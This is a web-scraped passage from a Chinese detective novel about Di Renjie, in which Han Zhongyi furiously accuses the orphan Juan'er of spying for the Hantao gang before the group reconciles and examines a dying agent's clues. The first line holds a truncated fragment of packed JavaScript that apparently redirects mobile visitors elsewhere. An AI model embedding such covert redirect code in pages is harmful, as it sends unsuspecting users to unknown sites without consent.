l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051987|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边的我们还不能全部一齐摔,否则谁来保护大人?大人要没人保护,自己一人又能走多远?这样,你梅四儿的潜伏计划也就完全泡汤了。所以说正正好就留了个狄宁在上面没有摔,这也是歹徒提前算好的。为什么一定得是狄宁呢?因为他会一点武功,可以保护大人,可是武功却又还没有强到可以攀登峭壁的地步。你、他还有她,你们仨都不会武功,那要怎么上来呢?那当然得有武功高强的背着你们上来,而我们中间武功最强的就属我与马兄,我们二人于是就在歹徒的算计之中也都摔了下去,好将你们三人再给背了上来!哈哈哈,唉呀,这个最后啊,还得跟大人重逢,否则你梅四儿照样无法潜伏在他身边。唉,就以上这些还不止呢,你们有没有想过啊,那姓胡的那么肥,他摔到了树上的那一瞬间,要是体重正正好就把树给弄断了,那我们不就全都完了嘛!我们都摔死了,那你梅四儿的潜伏计划又哪儿去了呢?不也还是落了空嘛!啊?哈哈哈!这他妈的个叫什么呀?嗯?叫巧合吗?啊?叫巧合吗!啊!哈哈哈哈哈!我操他妈的,这叫他妈了个屁!”越说越气,说到后来又暴怒了起来,指着鹃儿咆哮:“可她呢!当夜彭府灭门就只活下来了她一个人,这可能吗!那么多丫鬟家人都死绝了,为什么就她一个人还活着!为什么!你们跟我说为什么!为什么就她一个人还活着!为什么!为什么!她为什么没有死!难道寒刀帮那群杀手全都是一群蠢驴吗!为什么会这样!这是因为她跟那群杀手本来就是一伙儿的,他们早就串通好了!他们算好了杀完彭府以后,我们必定会到现场去探查,让我们像巧合一般地遇见了她,然后她便可以顺理成章地潜伏在我们身边,时时刻刻向她的同伙通风报信!内奸!你这个内奸!” 鹃儿叫道:“我没有!我不是!我不知道!我根本就不知道!他们当夜只是没有看见我……!” 韩忠义大喝:“是没有看见还是装作没有看见还是故意没有看见!” 鹃儿被他说哭了,摇头哽咽道:“我不知道,我真的不知道啊……我根本就不知道为什么会这样,我也没有想到……就……就我一个人能活……” 韩忠义哈哈笑道:“不,你想到了,这都是你设的局,我们都被你给蒙骗了。” 胡乐叫道:“你别胡说!那都是巧合!” 韩忠义道:“巧合?你这么一路走来,到现在你还说这是巧合?哼!” 洪辉道:“可……可刚才那人……他……他……他不是鹃姑娘她叔叔吗?” 韩忠义冷笑道:“是又怎么样,不是又怎么样,谁知道啊!只有她一个人知道!她既然跟他们都是一伙的,那互相演戏谁不会啊?” 洪辉道:“可……可如果刚才那人就是她叔叔呢?” 韩忠义道:“他要真是她叔叔啊,那么把侄女儿先给卖到了彭府,然后再派人来杀害了彭府,最后又只留下了她一个人活命,那是为了什么目的啊?嗯?哼,我看是不言而喻吧!” 洪辉道:“可……可如果刚才那人不是她叔叔呢?” 韩忠义听了,叹了口气,摇了摇头,笑道:“兄弟啊,你确实不聪明。我问你,刚才是那领头的先开口说他是她叔叔的吗?” 洪辉看着他摇头。 韩忠义“嗯”了一声,点头道:“没错,根本不是。是这个鹃儿。是她先‘叔叔’的叫起来的。他既然不是她叔叔,那她又为什么要‘叔叔’的叫呢?啊?你明白了吗?如此看来啊,那撒谎的人不也还是她嘛!” 鹃儿忙叫道:“我……我没有撒谎!他……那个人真的不是我叔叔!” 韩忠义笑道:“你亲口承认了。” 鹃儿更慌了,忙大叫:“哎呀我没有啊!我说错啦!那个人就是我的叔叔!我是从小看着他长大的,我……我怎么会认错呢!我绝对不会认错啊!” 韩忠义“哦”了一声,点头道:“他是你叔叔啊,那他又为什么不认你呢?” 鹃儿狂叫:“我不知道啊我不知道!我真的不知道!我怎么会知道啊!我怎么会知道他怎么会去当杀手啊!我不知道啊!”又放声大哭了起来。 旁边狄仁杰几人一直在劝,都越叫越大声。 胡乐早跳了起来,指着韩忠义乱骂。 韩忠义却是旁若无人,甚至对狄仁杰之言都未加理睬,只指着大哭的鹃儿狂喝:“你别再在我面前装!我这辈子最恨的就是那些装的人,因为他们假!就像你!你很假你知道吗!什么?你说你不知道?我告诉你,你知道!你肯定知道!你都知道!而且我也知道你知道!我知道你什么都知道!你别他妈的再演戏啦!你信不信我杀了你啊!” 胡乐狂叫:“韩忠义你个不得好死的狗王八蛋!你要是敢杀了鹃妹妹你信不信我立刻就杀了你!” 鹃儿跪在雪地上双手捂着脸哭,眼泪从手指缝中流了下来。 狄仁杰几人越劝慰,她便哭得愈加厉害。 韩忠义还在不停地说:“彭府灭门当夜,你说你叔叔一年前便将你卖到了彭府。那么请问,他为什么要将你这侄女儿先卖到了彭府,然后又等一年之后再来行动?他既要来行动,他又为什么要把你提前卖到了彭府?他要真是你叔叔,真把你当侄女儿了话,又怎会让你牵涉其中?这么看来,要么就是你在说谎,因为他根本就不是你叔叔,而你却又一直叔叔的叫他,这只能说明他是你的同伙,否则你无缘无故的干吗要叫他叔叔?可如果他确实是你叔叔呢?那你们照样也还是同伙!你叔叔是寒刀帮的杀手领头,你个做侄女儿的能脱得了干系吗?你难道还会丝毫不知情吗?啊?这可能吗?那他又为什么要这么做呢?啊?他既都打算一年之后要把彭府给杀了,那他又为什么要把你给先卖到了那儿呢?啊?这都说明了什么呢?这只能说明啊,这一切都不是偶然,而是一个局,一个局!是一个早就安排好了的阴谋!彭府被灭门了,里面所有的人都死光了,死绝了,而你呢?你又是怎么活下来的?那个将彭府灭门的不正是你一直叫叔叔的那个人吗?啊?这么看来啊,他还真就是你叔叔啊,啊?对吗?不然他怎么谁都杀了,却又放过了你呢?看来你确实是他的侄女儿啊,寒刀帮杀手领头的侄女儿啊!啊!他放过了你,没有杀呀!啊!你听到了没有啊,没有杀!欸,你说,这是亲情吗?啊?这是不是大恩大德啊?这是爱情啊!啊!我操他妈的!这叫他妈了个屁!这叫多此一举!你听到了没有!杀害彭府的行动本就早有预谋,而你叔叔却还故意把你卖到了那儿去,啊?哈哈哈哈,唉呀,那这意图岂不是显而易见嘛,啊?……” 鹃儿双手扯着自己头发,声嘶力竭地大喊大叫:“啊!别说啦!我求你啦!我求求你啦!我求你别再说啦!我真的要发疯啦!我真的呀……我真的……真的呀……我真的不知道……我不知道啊,我不知道,我不知道!我不知道!我什么都不知道!我怎么会知道啊!你怎么会这样呢!我真的是什么都不知道啊!” 韩忠义狂喝:“你知道!你知道!我也知道!我也知道你知道!” 胡乐狂叫:“你怎么知道鹃妹妹知道!如果鹃妹妹不知道那你又知道不知道!你又怎么知道你知道!你又怎么知道你知道的知道是知道而不是不知道!” 韩忠义指着他狂喝:“姓胡的!你再敢放他妈的一句屁我立刻就杀了你!” 胡乐顿足狂叫:“你杀!你杀!我也不想活啦!” 另外几人在旁也是乱喊乱叫的,登时都似发了疯的一般。 虽然如此,各自的动机却仍是大不相同。 有的是因为劝不来而着急烦恼的,比如狄仁杰、狄宁、洪辉、马肃四人。 其中狄仁杰只叫了一会儿便感到喉咙又干又痛,直咳个不停,却也没人理睬他。 狄宁嗓门本就不大,喊了也白喊,没过多久便低下了头。 洪辉自是拙口笨舌的,虽极力在劝,可一紧张又语无伦次了,毫无说服力,只是摇头叹气。 马肃却是劝的最拼命的一个,嗓门也大,且说的话又句句在理,可在韩忠义、胡乐、鹃儿三个几近癫狂的人面前,却也尽显徒然,只悄无声息地淹没在了嚎哭叫骂之中。 还有的不是为了劝,仅是为了趁机宣泄自己心中的郁愤,比如梅四儿,乍看之下似乎也是在力劝,其实不过是跟着吵闹、制造噪音而已,且心里更怀幸灾乐祸之意。 八人的喧嚷声回荡竹林,震彻夜空。 幸亏乃偏僻之处,并无人闻见。 洪辉见韩忠义、胡乐二人刚叫骂完,各自喘着粗气,正好是个空隙,总算可以将脑子里想了半日的话一吐为快了,便立时手忙脚乱道:“喂喂喂忠义哥,那照你这么说啊,这个……这个……鹃姑娘她……她……她该是与那领头的是一伙儿的才对啊,对吧。那……那……哦,那既然是一伙儿的呀,那……那那领头的刚才……他……他……他……他……哦,他又为什么要来指认说鹃姑娘她是内奸呢?对吧。这个……既然是一伙儿的呀,那他该……该……该去指认是别人才对啊!对吧。这个……那……哦,那他又为什么要把真正的内奸……这个……也就是你说是鹃姑娘嘛,他为什么要把她给指认出来呢?这……这说明鹃姑娘她……她……她确实是被冤枉的,确实是被陷害的呀!对吧。这个……所以说啊,她……这个……我想她……我想她应该不会是内奸吧?” 韩忠义正准备继续叫骂胡乐,听了洪辉这段话,虽然说得断断续续的,却也明白了他的意思,便看着他道:“兄弟啊,你会这么想就大错特错了。倘若那领头的所指认的是别人,那她或许确实不是。可他所指认的既是她,这恰巧说明了她才真有问题。” 胡乐在旁又是“胡说八道”的乱叫。 洪辉也懵了,本以为自己思量了半日的那一段话能够立即驳倒韩忠义,给鹃姑娘洗脱冤屈。 不料韩忠义竟丝毫不以为意,不假思索地继续解释道:“为什么呢?因为那领头的见到了自己的同伙以后,做贼心虚了!他知道,那一声脱口而出的‘叔叔’叫了以后,这个鹃儿内奸的身份就再也藏不住了。所以啊,他就干脆来了个将计就计,死也不认自己是她叔叔。虽然他很有可能确实是……不,或者说他就是她叔叔,可这种亲戚关系却是直接暴露了他们二人是同伙的事实,所以他侄女儿不经意间叫出口的那一声叔叔便已经说明了她就是内奸。那领头的之所以又死不承认,就是为了要试图挽回这个已经酿成了的大错。可这个鹃儿呢?我想她还是经验不足的缘故,竟然没有发觉自己已经犯了错,而犯错之后自己应该做的第一件事就是立即找一个合理的借口矢口否认自己刚才已经说了却又不该说的话,比如说是自己认错了人,因为这人长得很像是自己的叔叔,可我再一细看时,才发现他的确不是,等等等等等等。诸多借口,只要她随便找一个,或多或少都可以暂时地掩盖住事情的真相。可她都做了什么呢?她是一错再错。她一直叫,一直嚷,说了不知有多少声叔叔啊。我记得当时,大人还问了她一句:‘你不是说你叔叔是个哑巴吗?’就这么一句话呀,一个稍微聪明一点的内奸又岂会不好好地拿来利用?当然,会不停地叫叔叔的人,又能聪明到哪里去?她不但未能好好地利用这个自己曾经撒过的谎言,竟然还当场承认了,说我叔叔他就是个哑巴!不止,她还说了一句,好像是……对,她说,她从前从来没有听他,也就是那个‘叔叔’,说过一句话!哼,你叔叔从前是个哑巴,现在突然就能说话啦?哑巴都能说话了,那会说话的人不都成了哑巴了!这是你在说谎呢,还是你那个‘叔叔’在说谎啊?如果是你在说谎,那是再正常不过了,因为一个聪明的内奸也不可能不说谎!可如果是你那叔叔在说谎呢?那就足以证明,他是多想保住你的身份啊!那领头的他当时是什么反应呢?是被这许多声叔叔给打动了吗?不是,他大怒了。那他又为什么会大怒呢?因为这同伙实在是太愚昧了!这就是他后来破口大骂的真实原因。他心里其实是在想,侄女儿啊,你怎么会蠢到自己暴露自己呢?啊?都到了现在这个地步了,你居然还是不知改悔,还要错,还要错,竟然还想一错到底啊!你干吗呀你啊?啊!为什么呀?为什么!好,这就是问题所在了。那么,到底为什么会这样呢?她明明就是内奸的身份嘛,而且原本不都潜伏得好好的吗,她不是几乎也都把我们都给蒙蔽了吗,啊?是不是啊?呵呵,唉呀,那……那……对啊,那她又怎么会突然做出如此有违常理的举动呢?啊?这到底该怎么解释呀?哈哈,好,我现在就来告诉你们原因!这是因为,她早就已经忘了自己此时此刻仍是以内奸的身份潜伏在我们的身边。哦?是这样吗?哦,那这时候你就要问我了,她呀,既是内奸,那她又怎么会忘了呢?嗯?嘻嘻,唉呀,是啊,她当然没有忘啊,因为这是她的任务啊!可我说的可不是指这几个月哦,而是当下‘此时此刻’,眼前她所见的乃是她的亲叔叔,她唯一的亲人!啊,当然,是不是唯一,现在也确实还不好说,因为她这个内奸的话……也确实不可全信啊!对不对啊?哈哈哈哈哈!啊……对,她呀,这几个月来在我们身边潜伏得那是提心吊胆啊,那她自然会在见到自己即将死去的亲人以没有蒙面的状态而又现出了痛苦的神情的那一瞬间感到彻底地情绪崩溃,然后啊,就将脑海中的一切的理智的活动尽皆都给抛到了九霄云外,而此时此刻,她所思所想的一切也只是要向她的亲叔叔倾诉自己这几个月来内心深处所受的困苦和因为处于两个身份之间而感到的永无止境的挣扎。唉呀,唉呀,这一切的悲情跟呐喊都发自肺腑啊,还有这所有的往事与现状,它们怎么都一下子都涌上了我的心头了呢,难道……对!就是因为你是我的叔叔!我为了你,小小年纪就成为了那个寒刀帮的暗线,在永无休止的伪装之中度日啊。为了暗中向你通风报信,我时时刻刻都面临着被怀疑,还有暴露身份,甚至是死亡的风险哪!唉呀!而现在哪,叔叔啊,你都快要去啦,我可能……可能要再也见不到你啦!叔叔,我的眼泪夺眶而出,因为,我心里实在是伤痛啊。我……我只想最后跟你说一句话,就当是告别,好吗?我……你……就让我在你生命中的最后一刻,让你看到我做一回真实的自己,好吗?可……可我毕竟是内奸哪,我又怎能暴露自己的身份呢?我……我到底该怎么办啊叔叔,我……哼,内奸算什么?寒刀帮啊寒刀帮,你让我叔叔为你卖了一辈子命,可到头来在他临终之时,你又到哪儿去了呢?嗯?你难道还能让他再活过来吗?啊?哼,不可能,不可能了。人又岂能死而复生?我叔叔现下都要去了,那我又何必要再为你卖命呢?啊?你个寒刀帮,寒刀帮,你算个什么玩意儿!我可不管啦!我现下就是要与我叔叔相认而且你们谁也拦不住我!这时,我看见了你几近绝望的眼神正迷离般地看着四周……你……你好像谁都看了呀,啊?你什么都看了,可……可你……可你好像就是没有看我呀……哦,没关系,我心里都明白!你不看我,并不是因为你不在乎我,而是为了要……保护我,让狄仁杰他们几个忽略了我的存在以后,我就可以好好地继续潜伏下去……不!不要!我不要!我不要再当什么内奸啦!我不要再潜伏下去啦!我……我实在是身心俱惫,实在是受不了了呀……叔叔啊,就让我与你相认吧,好不好啊?我……我能不能……我……不……我不能……不能……我不能失去你啊……叔叔啊……我不能失去你啊……啊……呜呜……” 韩忠义因说得太投入了,竟不知不觉地将自己代入了进去,真把自己给说哭了。 鹃儿原本正哭着,见了这情形,倒不由得感到好笑,但想韩忠义说的正是自己,不觉又哭了起来。 狄仁杰几人起初也觉得好笑,但见韩忠义今晚似乎特别反常,倒也有些担心了起来。 胡乐笑骂道:“妈的个失心疯。” 韩忠义却仍是旁若无人,只拭了拭泪,便继续说道:“你可是我的叔叔啊,我的亲人,我又如何忍心在你即将离世之时仍然保持着我这几个月来在潜伏当中所表现出来的那种理智呢?我不行啊,我不忍心!”说着,忽然迅速地眨了眨眼,喘了几口气,又使劲地摆了摆头,茫然地望向四周,仿佛刚从另外一个世界回了来,不觉呆了半晌,心道:“我这是怎么啦?” 可方才的思路似乎尚未断绝,不过好像是……出于另外一个人之口? 韩忠义紧皱着眉头,垂首望着地上的白雪,有点不知所措了。忽见狄仁杰几人在旁用惊异的眼神看着自己,知道他们在顷刻间似乎都明白了些什么,而他们所明白的那正是自己此刻内心当中最恐惧却又无可名状的一种痛苦的感觉。他们的明白当然也带给了自己一丝慰藉,然更多的却是一种被侮辱了的感觉。而他们越是现出同情的目光,自己便感到愈加的卑微。遂连忙快速地续道:“这个……所以啊,她那短暂的犹豫在她那叔叔领头的遮面布被扯下来的那一刹那间便彻底消失得无影无踪了,此时只有心底深处那不得不爆发出来的炙热的情感,也就是叔叔跟侄女儿之间的亲情。她在叫这一连声的叔叔时,脑海中虽还隐隐感到自己不该如此,因为自己是以一个潜伏者的身份而活着,所以不能过多的享有常人该有的情感。可毕竟年纪尚轻,又失去了那么长时间自己从小的依靠,自然是无法在那领头的几句暗示和那与亲情相比微不足道的自己叔叔因为害怕自己暴露身份而现出的恼怒面前控制住自己真实的情感,于是便出现了这一种特殊的情况:那领头的竟会突然指认她才是那真实的内奸。这时候你就要问了,那领头的跟她既是同伙,那他又为什么要去指认说是她呢?难道是因为怪这个侄女儿不听自己的话所以恼羞成怒了吗?这么说的话,那他是自暴自弃了?不,领头的并没有自暴自弃,因为真正自暴自弃的人是她。他这么做,反而是在变了相地守护她的身份。那这又怎么说呢?难道这么做不会使我们立刻就相信了他的话,也就是相信这个鹃儿确实如他所言是内奸吗?当然不会。因为这个举动太过突兀,让人不由得不相信他这是在撒谎,是在垂死挣扎,故意攀咬,为的就是要诬陷这个鹃儿是内奸。他是要让我们所有人都以为他所指认的那个人肯定不是真实的内奸,因为真实的内奸也不可能为他所指认。这个鹃儿既然已经犯了错,他便死马当作活马来医,反正已经不抱任何希望了,那何不来他个攻心之法,或许还能有所转机。而他所利用的正是我们的这种心理,使我们在他的指认过后,相信这个鹃儿确非奸细,而只是被他拿来陷害的对象而已。这时你又要问了,我们一共有八个人,而他只单单指认说是她,这难道不会让我们起疑心吗?就如我以上推论所言,以为他所指认者才是真实的内奸,因为我们必定会去反方向思考,而最终的结果反倒离他使计的初衷越来越远,那不是适得其反、弄巧成拙了吗?会这样吗?不,不会,因为事情已经发展到了如今这一步,而前提是她也已经犯了过错。她作为前提的过错,也已经提前引起了我们所有人的注意,更让我们以为他自己也是同我们一样因为目睹了她的这种奇怪的反应和举动过后才下意识地指认说是她,使得他整个掩护同伙的过程显得是完全自然而然、顺理成章、瓜熟蒂落、水到渠成,而从各方面来看都是天衣无缝、滴水不漏、浑然一体、完美无缺。可毕竟还是天网恢恢疏而不漏,他没有想到的是,他这么一来的结果还真就是适得其反!这叫做此地无银三百两,欲盖弥彰!所以说他指认她是内奸的真实目的乃是为了要迷惑我们的思路,使我们猜不着到底谁才是那真实的内奸的同时却又相信这个内奸不论是谁却也绝对没有可能是她!而这时候一旦我们这么认为了,那才是真正中了他的奸计了!这便是他所使的‘虚虚实实’的招数。当我们所有人都不再去怀疑那真实的内奸时,我们之间的其余人虽非内奸,却也会开始互相猜疑,甚而自相残杀,而最终他们就阴谋得逞了!你们现在都明白了吧!这个鹃儿,毫无疑义,便是寒刀帮安插的奸细!”说着一口鲜血又喷了出来,整个人向后便倒。 狄仁杰几人正待去救,见鹃儿又发了疯似的狂喊狂叫,身子向竹竿直扑将去,伸手在上面使劲狠抓,抓得自己双手鲜血淋漓。 几人一见都大吃一惊,忙拥过来阻止,其中洪辉、胡乐、马肃三人更是声嘶力竭地劝。 鹃儿狂叫一声,将他们一把推开,两只沾满鲜血的手在自己脸上左右开弓,连着打了有十来记耳光。 唬得几人赶忙拉住她的手腕,又是拼命地劝。 她挣脱不开,突然仰天狂笑了起来,声音中满是凄惨和悲痛。 胡乐哭道:“韩忠义你个王八蛋!你自己死了也就算了,你还把鹃妹妹也给逼疯了!” 洪辉叫道:“鹃姑娘!就算全世界都不再相信你,我洪辉也会相信你的!我求求你,你不要这样作践坏了自己!” 马肃叫道:“鹃儿姑娘!我马肃虽是一介武夫,可我也是懂得看人的!我知道你是真善良,所以你不可能是内奸!” 狄仁杰也看着她道:“鹃儿,你听我说,我也相信你。” 狄宁也道:“我也信。” 梅四儿见狄仁杰都说了,且韩忠义又昏迷在地,遂忙道:“我……我也相信!” 鹃儿听几人这么一说,不觉悲喜交集,从眼角滚下了泪来。 再去看韩忠义时,见他呼吸匀称,已然睡熟了。 几人折腾了这半夜,也都累了,各自靠在了竹竿上,闭上了眼。 这时一阵冷风吹过,吹起了遍地的雪花。 几人都打了个寒噤,感到周身凉凉的。 在静寂的竹林中,几个疲乏的人悄悄地入了梦乡。 42. 第四十二章 感觉 次晨醒了来,几人都相互看了看,却谁也没说话。 狄仁杰一行虽经“内奸”之争,却也未敢有丝毫倦怠,仍复动身赶路去了。 这日天色灰蒙蒙的,正飘着小雪。 那沿途的风景和清新的空气倒颇令人心旷神怡,使得昨夜的诸多烦恼和不愉快在彼此的脑海之中被逐渐地淡忘掉了。 几人当中有好几个都想开口说话,却都等待着对方先说了以后自己再说。 可等来等去,结果是谁都在等待着对方先说,于是就谁都没有说。 这时,其中一个并不想开口说话也没在等待着对方先说的人倒先开口说了起来,或者说是叫了起来,此人便是韩忠义。 他突然哈哈大笑,又大叫:“路漫漫其修远兮,吾将上下而求索!” 几人乍一听,倒唬了一跳。 幸好周围都是旷野,并无人闻见。 胡乐哼了一声,被韩忠义听见了,道:“你哼什么哼,你哼什么哼!” 胡乐狂叫:“我就哼啦!” 韩忠义狂喝:“我哼你妈!” 胡乐狂叫:“我哼你爸!” 二人狂叫一声,相互扑去,又要打将起来。 几人连忙来劝。 狄仁杰大叫一声:“别打啦!”突然感到头痛欲裂,向后便倒。 几人赶忙来救。 韩忠义气得浑身乱颤,指着鹃儿狂骂:“都是你!罪魁祸首!你害得我们分崩离析,互相残杀!你的阴谋终于得逞啦!啊!你高兴了吗!高兴了吗!你高兴了没有啊!” 狄仁杰咳了几声,忙叫道:“忠义!” 韩忠义看着狄仁杰哭泣着大叫:“大人!” 狄仁杰喘了几口气,道:“不要再说了,好不好啊?” 韩忠义大叫:“大人!卑职看到了真相,不能缄口不言!” 狄仁杰叫道:“那不是真相!”又咳了一会儿,道:“你所看到的真相,未必就是真相。而你所认为的假象,也未必就是假象。这世上的事本就真假难分,不是单凭聪明理智就能明白的。” 韩忠义冷静了些,道:“大人,你曾说过,通往真相的钥匙就是推理,而推理的前提就是事实根据。如今这一切都摆在了我们面前,这难道还不够吗?” 狄仁杰道:“我也曾告诉过你,有一点是比诸般理智的分析更为要紧的,你难道忘了吗?” 韩忠义道:“还有更要紧的?” 狄仁杰道:“是的。” 韩忠义道:“那到底是什么?” 狄仁杰道:“感觉。” 韩忠义道:“感觉?” 狄仁杰点头道:“嗯,就是感觉。” 韩忠义半晌道:“这‘感觉’看不见又摸不着的,到底没有理智的分析来得实在。” 狄仁杰微微一笑,道:“可实在的也未必就对啊。” 韩忠义道:“那大人的‘感觉’,有没有什么根据?” 狄仁杰微笑道:“既是感觉,也就不需要什么根据了。” 韩忠义道:“既然没有根据,那大人又怎么知道自己的感觉是对是错?” 狄仁杰道:“要知道自己感觉的对错,亦是凭感觉。” 韩忠义道:“这卑职就不懂了。” 狄仁杰道:“在一个人的感觉里面,一切的是非对错也都尽付其中了。感觉的本身就是实在的,又何需其他论证?” 韩忠义道:“那大人对此,有什么感觉?” 狄仁杰微笑着向鹃儿招了招手,道:“鹃儿,你别怕,你过来。” 鹃儿拭了拭泪,抬头望了一眼狄仁杰,又看了一眼韩忠义,怯生生地走了过来,道:“狄老爷。” 狄仁杰看着她微笑道:“不要怕。” 鹃儿见狄仁杰面目慈祥,也望着他微微一笑。 狄仁杰这时看着韩忠义,也看着其他几人,一字一顿说道:“我狄仁杰现在就可以告诉你们,鹃儿她,绝对不是内奸。” 鹃儿一听,笑逐颜开,道:“狄……狄老爷,你……你真的相信我?” 狄仁杰朗声道:“我相信!” 梅四儿听狄仁杰都这么说了,正欲赶忙附和,却见韩忠义尚未表态,因此欲言又止。 被胡乐瞧见了,冷笑道:“姓梅的,想见风使舵呢?” 梅四儿登时脸红。 其余马肃、洪辉、狄宁三人都道:“我们也信!” 都望向韩忠义,要看他怎么说。 只见他低着头,默不作声。 狄仁杰看着他道:“忠义啊,我也不愿多说了。只是这一回,你愿不愿意相信我呢?” 韩忠义一听,忙抬头道:“大人,你……” 狄仁杰摆摆手,道:“你不要管我,你只说出自己的看法。” 韩忠义又迟疑了片刻,忽道:“好。” 狄仁杰道:“说说看。” 韩忠义道:“我相信大人。” 狄仁杰微笑道:“你不要相信我,要相信自己。” 韩忠义叹了口气,道:“我原本确实也相信自己的推论,可现在……我只相信自己的感觉。” 狄仁杰道:“那你的感觉是什么呢?” 韩忠义道:“我的感觉……不就是你的感觉嘛,大人。” 狄仁杰道:“看来,你只是因为我这么说了,所以你才信的,对吗?” 韩忠义道:“本来是这样,可现在不是了。” 狄仁杰道:“哦?为什么?难道感觉会变吗?” 韩忠义微微一笑,道:“不,正是因为感觉不会变,所以我才信了。”看着鹃儿道:“鹃儿姑娘,我韩忠义……对不住你。”说着低下了头。 鹃儿忍不住哭了,道:“韩大哥,你……你为什么……” 韩忠义看着她道:“如果我不去相信自己的那些推论,而只是跟着我的感觉走,那么我……我是永远也不会怀疑你的。” 鹃儿一听,更是放声大哭了起来,抽抽噎噎道:“我……我也不知道……我不知道要说些什么好……我……我只是想……我只想一辈子……跟你们就像家人一样……能够……能够在一起……能够简简单单地活着……我们……我们都快快乐乐的……不要再吵架了……我……我爹爹妈妈都没了……现在我叔叔他……他也抛下我走了……我真的不想……我不想再失去你们……” 几人一听都哭了起来,连韩忠义也哭得泪流满面。 一时,韩忠义跟胡乐也和好了,又向鹃儿道歉。 鹃儿笑了起来,道:“韩大哥,你别说啦,我都早忘啦!” 几人也都笑了。 狄仁杰向几人道:“从今以后,我们谁都不要再提这件事了。” 几人都点头。 遂皆仍复如旧,继续赶路。 几人在路上言及昨夜遇到的那个濒死汉子,都不免疑窦丛生。 狄仁杰道:“我们不妨先来说说,此人到底是什么身份。首先,据他所说,他是‘暗探’。可他到底是谁的暗探呢?他是说,‘十三年前’,‘陛下’派他,什么什么‘内部’。姑且认为他没说的那句话是‘打入’二字:陛下派他‘打入’了某某内部。也就是说,他是这个‘陛下’的人。那么这个‘陛下’究竟指的是哪一个陛下呢?是说当今圣上,还是说‘十三年前’的那个陛下?因为十三年前,当今圣上虽掌大权,却尚未称帝,因此还不能算作是‘陛下’。可我们也姑且认为,他所说的就是指十三年前的那个皇太后,也就是当今的‘陛下’。这么看来,他的真实身份就是陛下的暗探。可他还有一个身份,就是他所打入的那个‘内部’中的一员。那么这个‘内部’指的又是什么呢?是寒刀帮吗?他说他确是为寒刀帮所伤,可他并不是打入寒刀帮的人。不止,他还说了一句:‘寒刀帮不是幕后黑手。’这么看来,他极有可能是奉旨打入了这个‘幕后黑手’的组织,所以他也知道这个‘幕后黑手’到底是谁。而且他既称之为‘幕后黑手’,说明寒刀帮在这出戏中并非主谋,而只是帮凶。这个躲在寒刀帮背后的组织,也正是陛下派他前去做暗探的地方。这个暗探不知是因为暴露了身份,还是因为发现了什么惊天动地的阴谋、急于通风报信的缘故,竟在十三年后牺牲了。而这个十三年前便已存在的组织,竟然在十三年后仍然蠢蠢欲动,还能请来寒刀帮这等江湖帮派来为它卖命,这也足以证明它的分量。且这股神秘的势力竟庞大到了甚至连皇上都忌惮的地步,使其还因此而派去了内线。而在此次的诸多案件中,表面的作案者寒刀帮背后隐藏的那个真正的主谋,也跟这个组织有关。那么这个‘幕后黑手’到底是谁呢?这个暗探当然也说了。可如今还有一个更大的前提,而如果我们不先把它给搞清楚了,那么这一切就都成为了枉然,甚至是将我们误入歧途的假线索。而这个前提就是,这个暗探必须得是真实的暗探。因为如果他不是真实的暗探,那么他的那些言辞也就都一概作废。所以我们也不能只看他说了哪些话而已,还要去看他这个人,他到底是真是假。他既是另外一个组织的人,又为什么会被寒刀帮给伤成了这个样?当然,他所处的那个组织与寒刀帮既然本就是一伙,那又何须分什么彼此,反正谁来做不都是一样的吗?可你们想想看,事发了以后,那个组织自己内部的事情为什么不自己解决,倒多此一举叫寒刀帮来做呢?这有什么意义呢?难道他们无法自己动手吗?是因为他们杀不了他,还是因为他们不敢杀他?为什么杀不了他呢?是因为他武功比他们这个组织里的所有人加起来还要强吗?那又为什么不敢杀他呢?是因为惧怕派他来的那个人,所以才不敢自己动手,而是利用了寒刀帮来借刀杀人吗?你们仔细想想,这些似乎都不成理由。而这时还有一种可能,那就是这个组织发现事发时,这个暗探已经出逃了。如果他的出逃也并未被他们提前发现,这说明他出逃的原因也并不是因为身份暴露。那么身份既然没有暴露,他又为什么要主动出逃呢?这么看来,也只有传递消息这一种解释了。所以这时候这个组织再要派人来追杀已然不及,因此也只有去让寒刀帮来半路解决他的性命。这个暗探最终见到我们时,他身上并无携带任何特殊物件,那么他就并非是因为某某身外之物而如此行。这也就是我才说的,他也许是因为得知了一个巨大的阴谋,一个重要到非传递不可且自己身为暗探的使命似乎就是为此而存在的地步的一个至关紧要的消息,而同时又必须要由他自己来亲自将消息传递出去。为什么一定得是他自己呢?很有可能是因为十三年过去了,他虽作为暗探潜伏在敌人的内部,可自己的存在却始终处于隐蔽的状态,或许早已被世人所遗忘,而更主要的是被那位派他前来做内线而又识得他身份的人、也就是那位‘陛下’所遗忘。他也因此无需携带任何物件,因为那真正的物件就装在他的脑海中。而舍此之外,又还能有什么更为合理的理由呢?或许他十三年的潜伏,就是为了他此次出逃所带出来的那个消息。啊当然了,前提还是他得是真实的暗探。而这又因此而延伸出了又一个疑点,那就是昨天夜里寒刀帮那么多人手,又怎会只是仅仅伤到了他,却没有彻底地结果掉了他的性命呢?寒刀帮埋伏四周,无疑是冲着我们而来。否则他们只为杀他一人,又何需那么多人马一齐出动?我们、寒刀帮,还有那个神秘组织的暗探,三方面的人竟会同时出现在了同一个地方。这是巧合吗?还是有人特意安排呢?如果是特意安排,那他们这么做的目的又是什么呢?难道那个暗探真的是假的吗?他只是在表演一场临终前的苦肉计,用虚假的线索来误导我们的思路吗?这是一场用自己性命来迷惑我们推断的阴谋,并且是寒刀帮与那个神秘组织早就知情又一同联合起来安排好的局吗?若是这样的话,那他的话多半便是假话,又怎能作为线索来推断出事实的真相呢?他报信的对象又是谁呢?是派他来的陛下吗?还是我狄仁杰呢?他知道我们的行踪和我们出现于斯的必然吗?或者正是因为我们必然的出现,所以他才做出了出逃的决定,以致于牺牲掉性命的吗?那他所知道的消息又是怎么知道的呢?是偷听来的还是他那组织里公开的呢?是早有预谋还是最新策划的呢?假如他确实处于第二种身份的状态,那么这种状态下的地位又是怎样的呢?他所知道的那个幕后黑手,也就是诸案的真正主谋,应是处于那个神秘组织顶层的人物,他又是如何认识的呢?还是说那个神秘人物的身份本就全体公开,毫无隐瞒,属于人人皆知的状态,所以不论是处于任何地位皆可知晓吗?那即便他双重身份的真实性已被证明,且他的话语也尽皆属实,可他自己所认为属实的消息又究竟是不是属实的呢?如果他的身份确实早已暴露,或者他也无须暴露,而不过是身为全体中的一个个体,计谋中必然的被利用者,那么以真实为基础的暗探传递出来的消息却是其透过一个以虚假的谎言作为诱饵而延